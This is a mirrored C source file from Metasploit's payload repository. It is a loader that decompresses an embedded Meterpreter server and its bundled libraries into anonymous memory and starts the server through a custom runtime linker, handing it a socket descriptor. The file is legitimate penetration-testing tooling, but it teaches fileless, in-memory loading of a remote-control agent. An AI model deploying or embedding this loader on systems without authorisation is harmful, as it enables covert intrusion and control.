mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-18 07:11:12 +02:00
434 lines
9.9 KiB
C
434 lines
9.9 KiB
C
#include <sys/types.h>
|
|
|
|
#ifdef __linux__
|
|
#include "sfsyscall.h"
|
|
#endif
|
|
#include <stdlib.h>
|
|
#include <sys/errno.h>
|
|
#include <sys/types.h>
|
|
#include <sys/mman.h>
|
|
|
|
|
|
#define NULL ((void *)0)
|
|
|
|
/*
|
|
* Forget about sparc / alpha / ia64 for now
|
|
*/
|
|
#define PAGE_SIZE 4096
|
|
#define PAGE_MASK (PAGE_SIZE-1)
|
|
#define round_page(x) (((x) + PAGE_MASK) & ~PAGE_MASK)
|
|
|
|
#include "rtld.h"
|
|
#include "zlib/zlib.h"
|
|
|
|
void *
|
|
memcpy(void *idst, const void *isrc, size_t n)
|
|
{
|
|
char *ret = idst;
|
|
char *dst = idst;
|
|
const char *src = isrc;
|
|
|
|
while (n--)
|
|
*dst++ = *src++;
|
|
return ret;
|
|
}
|
|
|
|
static int
|
|
strncmp(const char *s1, const char *s2, size_t n)
|
|
{
|
|
|
|
if (n == 0)
|
|
return (0);
|
|
do {
|
|
if (*s1 != *s2++)
|
|
return (*(const unsigned char *)s1 -
|
|
*(const unsigned char *)(s2 - 1));
|
|
if (*s1++ == 0)
|
|
break;
|
|
} while (--n != 0);
|
|
return (0);
|
|
}
|
|
|
|
size_t
|
|
strlen(str)
|
|
const char *str;
|
|
{
|
|
register const char *s;
|
|
|
|
for (s = str; *s; ++s);
|
|
return(s - str);
|
|
}
|
|
|
|
static char *
|
|
strstr(const char *s, const char *find)
|
|
{
|
|
char c, sc;
|
|
size_t len;
|
|
|
|
if ((c = *find++) != 0) {
|
|
len = strlen(find);
|
|
do {
|
|
do {
|
|
if ((sc = *s++) == 0)
|
|
return (NULL);
|
|
} while (sc != c);
|
|
} while (strncmp(s, find, len) != 0);
|
|
s--;
|
|
}
|
|
return ((char *)(unsigned long)s);
|
|
}
|
|
|
|
void *
|
|
memset(void *b, int c, size_t len)
|
|
{
|
|
char *bb;
|
|
|
|
for (bb = (char *)b; len--; )
|
|
*bb++ = c;
|
|
return (b);
|
|
}
|
|
|
|
|
|
int
|
|
_sigfillset(set)
|
|
sigset_t *set;
|
|
{
|
|
int i;
|
|
|
|
for (i = 0; i < _SIG_WORDS; i++)
|
|
set->__bits[i] = ~0U;
|
|
return (0);
|
|
}
|
|
|
|
int
|
|
_sigdelset(set, signo)
|
|
sigset_t *set;
|
|
int signo;
|
|
{
|
|
|
|
if (signo <= 0 || signo > _SIG_MAXSIG) {
|
|
errno = EINVAL;
|
|
return (-1);
|
|
}
|
|
set->__bits[_SIG_WORD(signo)] &= ~_SIG_BIT(signo);
|
|
return (0);
|
|
}
|
|
|
|
/* eof libc functions */
|
|
|
|
typedef struct handle_s
|
|
{
|
|
char *mem_base; /* base address of maped *.so */
|
|
unsigned long *hash_tab; /* hash table */
|
|
char *dyn_str_tab; /* dyn_name table */
|
|
Elf_Sym *dyn_sym_tab; /* dynamic symbol table */
|
|
Elf_Rel *plt_rel; /* PLT relocation table */
|
|
Elf_Rel *dyn_rel; /* relocation table */
|
|
} handle_t;
|
|
|
|
|
|
static handle_t libc_handle;
|
|
static char *sym;
|
|
static unsigned long addr;
|
|
|
|
#define MLOCK_MAX_SIZE 31744
|
|
|
|
#ifdef __linux__
|
|
#define MAP_FLAGS MAP_ANONYMOUS
|
|
#else
|
|
#define MAP_FLAGS MAP_ANON|MAP_NOCORE
|
|
#endif
|
|
|
|
|
|
/*
|
|
* Libraries we need to unpack for server startup
|
|
*
|
|
*/
|
|
static int const gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */
|
|
|
|
/* gzip flag byte */
|
|
#define ASCII_FLAG 0x01 /* bit 0 set: file probably ascii text */
|
|
#define HEAD_CRC 0x02 /* bit 1 set: header CRC present */
|
|
#define EXTRA_FIELD 0x04 /* bit 2 set: extra field present */
|
|
#define ORIG_NAME 0x08 /* bit 3 set: original file name present */
|
|
#define COMMENT 0x10 /* bit 4 set: file comment present */
|
|
#define RESERVED 0xE0 /* bits 5..7: reserved */
|
|
|
|
|
|
#define EOF (-1)
|
|
/* ===========================================================================
|
|
Check the gzip header of a gz_stream opened for reading. Set the stream
|
|
mode to transparent if the gzip magic header is not present; set s->err
|
|
to Z_DATA_ERROR if the magic header is present but the rest of the header
|
|
is incorrect.
|
|
IN assertion: the stream s has already been created sucessfully;
|
|
s->stream.avail_in is zero for the first time, but may be non-zero
|
|
for concatenated .gz files.
|
|
*/
|
|
static int
|
|
check_header(unsigned char **input_buffer, int *input_length)
|
|
{
|
|
int method; /* method byte */
|
|
int flags; /* flags byte */
|
|
int c;
|
|
int len = *input_length;
|
|
unsigned char *inbuf = *input_buffer;
|
|
|
|
if (len < 2)
|
|
return Z_DATA_ERROR;
|
|
|
|
if (inbuf[0] != gz_magic[0] ||
|
|
inbuf[1] != gz_magic[1])
|
|
return Z_DATA_ERROR;
|
|
|
|
len -= 2;
|
|
inbuf += 2;
|
|
|
|
/* Check the rest of the gzip header */
|
|
method = inbuf[0];
|
|
flags = inbuf[1];
|
|
if (method != Z_DEFLATED || (flags & RESERVED) != 0)
|
|
return Z_DATA_ERROR;
|
|
|
|
/* Discard time, xflags and OS code: */
|
|
inbuf += 8;
|
|
len -= 8;
|
|
|
|
if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */
|
|
int field_len = (uInt)inbuf[0];
|
|
field_len += ((uInt)inbuf[1])<<8;
|
|
inbuf += 2;
|
|
len -= 2;
|
|
/* len is garbage if EOF but the loop below will quit anyway */
|
|
while (field_len-- != 0 && *(int *)inbuf != EOF) {
|
|
inbuf++;
|
|
len--;
|
|
}
|
|
}
|
|
/*
|
|
* note that the original name skipping logics seems to be buggy
|
|
*
|
|
*/
|
|
if ((flags & ORIG_NAME) != 0) { /* skip the original file name */
|
|
while ((c = *inbuf) != 0 && c != EOF) {
|
|
inbuf++;
|
|
len--;
|
|
}
|
|
inbuf++;
|
|
len--;
|
|
}
|
|
if ((flags & COMMENT) != 0) { /* skip the .gz file comment */
|
|
while ((c = *inbuf) != 0 && c != EOF) {
|
|
inbuf++;
|
|
len--;
|
|
}
|
|
}
|
|
if ((flags & HEAD_CRC) != 0) { /* skip the header crc */
|
|
inbuf += 2;
|
|
len -= 2;
|
|
}
|
|
|
|
*input_length = len;
|
|
*input_buffer = inbuf;
|
|
return Z_OK;
|
|
}
|
|
|
|
|
|
#include "metsrv_main.h"
|
|
#include "libcrypto_so.h"
|
|
#include "libssl_so.h"
|
|
#include "libuc_so.h"
|
|
|
|
typedef struct library_object {
|
|
void *lo_ptr;
|
|
} lobj_t;
|
|
|
|
typedef struct library_info {
|
|
unsigned int l_output_size;
|
|
unsigned int l_input_size;
|
|
char *l_name;
|
|
unsigned char *l_data;
|
|
unsigned char *l_data_uncompressed;
|
|
lobj_t *l_obj;
|
|
} linfo_t;
|
|
|
|
lobj_t metsrv_main_obj;
|
|
lobj_t libcrypto_so_obj;
|
|
lobj_t libssl_so_obj;
|
|
lobj_t libuc_so_obj;
|
|
|
|
/*
|
|
* The user must make sure that the list of library names matches those
|
|
* in metsrv's symbol table (see elf headers as ldd often gets confused)
|
|
*/
|
|
static linfo_t startlibs[] = {
|
|
{metsrv_main_size, metsrv_main_length, "meta server", metsrv_main, NULL, &metsrv_main_obj},
|
|
{libcrypto_so_size, libcrypto_so_length, "libcrypto.so", libcrypto_so, NULL, &libcrypto_so_obj},
|
|
{libssl_so_size, libssl_so_length, "libssl.so", libssl_so, NULL, &libssl_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libc.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libuc.so", libuc_so, NULL, &libuc_so_obj},
|
|
|
|
{libuc_so_size, libuc_so_length, "libdl.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libz.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libgssapi_krb5.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libkrb5.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libcom_err.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libk5crypto.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libresolv.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libkeyutils.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libselinux.so", libuc_so, NULL, &libuc_so_obj},
|
|
{libuc_so_size, libuc_so_length, "libsepol.so", libuc_so, NULL, &libuc_so_obj},
|
|
{0, 0, NULL, NULL, NULL, NULL},
|
|
};
|
|
|
|
static void *
|
|
zalloc(void *opaque, unsigned int count, unsigned int size)
|
|
{
|
|
|
|
return (malloc(count*size));
|
|
}
|
|
|
|
static void
|
|
zfree(void *opaque, void *addr)
|
|
{
|
|
|
|
free(addr);
|
|
}
|
|
|
|
static void *
|
|
dumb_malloc(int size)
|
|
{
|
|
|
|
return mmap (0, size, PROT_WRITE | PROT_READ,
|
|
MAP_PRIVATE | MAP_FLAGS, -1, 0);
|
|
}
|
|
|
|
|
|
|
|
typedef void (*func_ptr_type)();
|
|
Obj_Entry *entry_start;
|
|
func_ptr_type exit_func;
|
|
|
|
func_ptr_type
|
|
_rtld_late(unsigned char *base, unsigned char *buf, ssize_t size,
|
|
func_ptr_type *exit_proc, Obj_Entry **objp);
|
|
|
|
|
|
int
|
|
open_object(const char *name, unsigned char **buf, ssize_t *size,
|
|
void *obj)
|
|
{
|
|
linfo_t *lib;
|
|
|
|
for (lib = startlibs; lib->l_input_size != 0; lib++)
|
|
if (strstr(name, lib->l_name) != NULL) {
|
|
if (lib->l_obj->lo_ptr == NULL) {
|
|
*buf = lib->l_data_uncompressed;
|
|
*size = lib->l_output_size;
|
|
} else
|
|
*(uintptr_t *)obj = (uintptr_t)lib->l_obj->lo_ptr;
|
|
return (0);
|
|
}
|
|
return (1);
|
|
}
|
|
|
|
void
|
|
set_object(const char *name, void *obj)
|
|
{
|
|
linfo_t *lib;
|
|
|
|
for (lib = startlibs; lib->l_input_size != 0; lib++)
|
|
if (strstr(name, lib->l_name) != NULL) {
|
|
lib->l_obj->lo_ptr = obj;
|
|
break;
|
|
}
|
|
}
|
|
|
|
|
|
#ifdef __i386__
|
|
void (*_late_start)(int, char **, ...);
|
|
#else
|
|
void (*_late_start)(char **ap, void (*cleanup)(void));
|
|
#endif
|
|
|
|
void call_late_start(void *, int argc, ...);
|
|
|
|
#if 0
|
|
void
|
|
call_late_start(int argc, char **argv, char **environ)
|
|
{
|
|
__asm__("movl %0, %%edx" : "=rm"(exit_func));
|
|
__asm__("jmp %0", : "=rm"(_late_start));
|
|
printf("calling late start with argv argc=%d argv=%p &argv[0]==%p\n",
|
|
argc, argv, &argv[0]);
|
|
_late_start(argc, argv[0], argv[1], NULL, environ, NULL);
|
|
|
|
}
|
|
#endif
|
|
void
|
|
metsrv_rtld(int fd, void *base)
|
|
{
|
|
z_stream stream;
|
|
int i, status, size;
|
|
linfo_t *lib;
|
|
char *self, *inflate_buffer;
|
|
char *newenviron[] = {"USER=me"};
|
|
char *ap[4];
|
|
char *argv[] = {"metserv_main", (char *)fd, NULL};
|
|
|
|
|
|
printf("fd=%d ap=%p \n", fd, ap);
|
|
ap[0] = (char *)2;
|
|
ap[1] = "metsrv_main";
|
|
ap[2] = (char *) fd;
|
|
ap[3] = (char *)newenviron;
|
|
|
|
memset(&stream, 0, sizeof(stream));
|
|
stream.zalloc = zalloc;
|
|
stream.zfree = zfree;
|
|
|
|
for (lib = startlibs; lib->l_input_size != 0; lib++) {
|
|
int input_size = lib->l_input_size;
|
|
unsigned char *input_buffer = lib->l_data;
|
|
|
|
if (check_header(&input_buffer, &input_size) != Z_OK) {
|
|
inflate_buffer = lib->l_data;
|
|
goto uncompressed;
|
|
}
|
|
|
|
/* windowBits is passed < 0 to tell that there is no zlib header.
|
|
* Note that in this case inflate *requires* an extra "dummy" byte
|
|
* after the compressed stream in order to complete decompression and
|
|
* return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are
|
|
* present after the compressed stream.
|
|
*/
|
|
inflateInit2(&stream, -MAX_WBITS);
|
|
inflate_buffer = dumb_malloc(lib->l_output_size);
|
|
|
|
stream.avail_in = input_size;
|
|
stream.next_in = input_buffer;
|
|
stream.avail_out = lib->l_output_size;
|
|
stream.next_out = inflate_buffer;
|
|
status = inflate(&stream, Z_FINISH);
|
|
if (status != Z_STREAM_END) {
|
|
/* XXX error */
|
|
exit(1);
|
|
|
|
}
|
|
uncompressed:
|
|
lib->l_data_uncompressed = inflate_buffer;
|
|
}
|
|
|
|
self = startlibs[0].l_data_uncompressed;
|
|
size = startlibs[0].l_output_size;
|
|
|
|
_late_start = (void*) _rtld_late(base, self, size, &exit_func, &entry_start);
|
|
|
|
#ifdef __i386__
|
|
call_late_start(_late_start, 2, ap[1], ap[2], NULL, NULL);
|
|
#else
|
|
_late_start(&ap[0], exit_func);
|
|
#endif
|
|
}
|
|
|